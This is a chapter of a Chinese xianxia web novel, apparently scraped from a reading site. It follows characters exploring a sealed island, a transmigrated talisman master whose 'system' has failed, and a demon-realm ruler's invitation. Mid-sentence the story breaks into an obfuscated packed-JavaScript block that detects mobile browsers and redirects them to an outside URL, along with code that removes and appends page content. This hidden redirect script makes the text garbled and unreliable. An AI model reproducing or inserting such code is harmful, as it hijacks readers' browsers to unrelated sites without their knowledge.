“碧落岛有封印,他应该是落到别处,被封印拦住了。”燕南陵在明灼准备做出更过激的行为前悠悠开口,他拍拍身上的草屑,提议道:“不如我们先把封印解开。” 等封印解开,碧落现世,这里归属于他们明见燕,等他炼化突破后,明灼注定是他手下败将。 他的恨,他的不甘,他的恐惧……父亲的话还在耳畔回响,燕南陵扬起与平时无二的笑容,仿佛那场把他逼入绝境的战斗从未发生过。隐忍,他现在需要隐忍,为了明见燕,为了他的未来。 龙离渊的确没和她提过封印,孟十八知道这是自己的失误,她应该拿到镜花水月地图后去妖魔道找龙离渊复命,她完全可以把燕南陵手上的地图抢走然后带叶轻舟离开。她没这么做只是因为她要来碧落岛,她要找到哪怕一丝一毫与昆仑与她自己有关的痕迹。 可是她偏离任务的第一步,就让叶轻舟失踪了。 孟十八尝到了前所未有的挫败。 自从有记忆以来,无论是面对魔渊的魔兽,还是接下相思楼的任务,她无一败绩,在武陵面对神木虽然断剑,但最后亦有玉龙相助。 龙离渊是对的,琅琊盛事也好,镜花水月也罢,其实和叶轻舟这个半路掉入魔界的修者没有丝毫关系,他若不来,此刻想必还懒散地躺在他的小院里,给他的法器们挨个抛光。 但是孟十八没学过后悔这两个字,武陵事里她亦有受挫,只要找到叶轻舟,一切就能回到正轨。 孟十八眼眸沉沉,她不是没有看见燕南陵的眼神,带着古怪的幸灾乐祸,而她回以利落的动作,将他身上的芙蓉泣收在自己腰间,冷声道:“走。” 燕南陵掩住心中那点冷嘲,无所谓地走在她身边。 初夏时节,细碎的阳光从树叶间漏下,徐徐清风吹来盈盈灵气,如此美妙的自然环境下,明灼冷着脸在前面开路,一步更比一步急躁,她偶尔扫过自己左后方,又吝啬于给燕南陵一个眼神。 啧,真是牛嚼牡丹,对牛弹琴,燕南陵眼神划过树下争奇斗艳的花草,心中那些怨气又化成更深的嘲笑,原来她不过是个莽夫,连这些价值连城的灵草都不识得,眼里只有她那个拖油瓶。那个拖油瓶算来还是他们仙界人,哪有这么蠢的魔修? “怎么停了?”燕南陵从一株千年仙草里抬起头。 明灼:“太安静了。” 这里有风声,水声,树叶与清泉相合,青草与顽石依靠,勃勃生机,一派祥和。 但是这里没有生命。 被封印几百年的岛屿上可以没有人的踪迹,但在这灵力充盈的地界,为何没有任何动物? “说不定只是撤走了,或者死了。”燕南陵抱臂道,“对柳原赶尽杀绝,很符合你们魔界作风。”他生怕明灼不知道,贴心解释:“柳原就是那个传说能杀了你们魔尊的救世主。” 明灼:“不是。” 燕南陵:“不是什么?不是你们的作风?” 明灼黑眸深深看着他:“如果是我,不会折中。”要么只杀柳原,要么毁掉整座岛。 那股熟悉的冷意顺着他的骨头爬上他的大脑,燕南陵掐着自己维持清醒,语气不自觉发颤:“所以你想说什么?” “看你脚下的路。” 被封印千年的岛屿,没有动物的岛屿,却有着平坦的,没有杂草生长痕迹的道路。 * 叶轻舟试探着伸出一只脚。 他感觉自己踩在一片云上,悬在半空,落不下,抬不起。 好在他有自知之明,迅速收回脚步,调出系统开始查看地图。 他已经摸清系统的脾性,来到这个地方怎么可能会没有新地图和区域任务?不过在面对一片浓雾没有解锁的碧落岛地图前,他先戳了戳系统:“我身上的东西呢?” 他的储物袋不翼而飞,这种经济损失值得系统给他原价补偿。 还有物品栏里那个cosplay道具,他又是什么时候错屏使用的?他怎么一点印象没有?难道他现在就在cosplay?叶轻舟连忙划出一面水镜,很好,还是人模人样,好像还比以前帅了点。 不靠谱的系统在让他失望上从不让他失望,滴滴嘟嘟叫了半天直接黑屏罢工,叶轻舟当场气笑,这里断网连不上琅琊郡倒也算了,你一个穿越系统装什么失灵? 算了,我自有狡兔三窟,叶轻舟从袖袋里摸了半天发现怎么是空空如也,习惯性随身藏两张符的符师敲了敲脑袋。 “对哦,”他自言自语起来,觉得自己一定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407963|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏迷时撞到脑袋了,“我不是特意选的剑修吗?” 谁要选符阵那种辅助职业,穿越自带系统,天生主角命,就该当剑修! “不过我要来这干什么……系统,系统!” 【同伴任务:之子于归-1】 【任务内容:恭喜你,终于找到了和回家有关的线索,以及老乡!现在你们要踏上新的征程,不过别太得意,不要忘了暗号!】 【任务奖励:超豪华大礼包x1(目前无法查看)】 “对哦我是找到老乡来着,回家?回哪个家?暗号又是什么东西,我失忆了?” “奇变偶不变。” 熟悉的女声在不远处响起,深衣佩剑的女人依旧是冷冷清清一张脸,对上叶轻舟茫然的一张脸,略一挑眉,“失魂落魄了?” 诶这不是孟……叶轻舟脑子卡壳了一下,终于重启成功:“符号看象限!诶,明灼,你可让我好等啊!” 明灼? 明灼穿过这个颜色的衣服吗?叶轻舟心里有一瞬间恍惚,转念想起魔界审美千年如一日地喜欢暗色,眼睛扫过女人腰间的剑,剑鞘上刻着一串串低垂的花。 明灼的剑鞘有这样的装饰吗? 女人同样看向自己的剑鞘,语气随意道:“新打的,之前的太素了。” 对,明灼之前的剑鞘就是太素净了,走在琅琊大街上还差点被小乞丐顺走。 我这不是没糊涂全记得吗,叶轻舟确信自己脑子已经恢复正常了,带着些紧张与隐秘的欢喜道:“我们走吧。” “明灼。” 她可是明灼,叶轻舟忘记了疑虑,甚至有点好笑,他刚刚为什么会怀疑明灼? 明灼可是和他一样来自现代的老乡啊。 * 希望老乡在碧落岛人没事。 君瑶把忍冬和几个孩子送上去武陵的飞舟,青衣道袍的玉云英眉眼弯弯答应一定给她传讯。之前长乐坊获救的百余位童工里,除了忍冬几个愿意去武陵,其他都选择了明见燕的遥彰城,情理之中的选择,比起玉云英嘴里百废待兴的武陵,还是能过好日子的遥彰城更吸引人。 小荷倒是想去武陵,但是燕南陵压根没给她选择,这位让明见燕少主跌落凡尘又救他一命的女孩将成为明见燕的贵客,和他们旁支一同读书上学。 君瑶笑眯眯和他们挥手告别,心里盘算自己等会是去苏横流那里淘点旧书,还是去请花无定试菜,顺带希望那位大人别再—— “君瑶道友。” 来了,君瑶脸上的笑还没收回去,扭头就看见容与依旧一身斗篷,温和笑道:“我在等你。” 自从拍卖会后,这位陛下就把自己当免费导游差遣,君瑶原先战战兢兢,但见陛下真是不食人间烟火,远离人民群众,但是脾气是一等一的好,君瑶说什么她看什么,君瑶买什么她吃什么,红宝石样的眼睛温温柔柔看着她,要是头发再染个白毛君瑶能直接叛变去魔界。 在这种颜值与性格的双重暴击下,现在君瑶带她上街,遇到熟人打招呼也能含糊说一句这是我魔界的朋友。 不过今天在车站堵人未免太夸张了吧,君瑶脸上堆笑问道:“陛下今日想去哪玩?” “我想请你去魔界暂住。”容与微笑着说出目的:“现在就走。”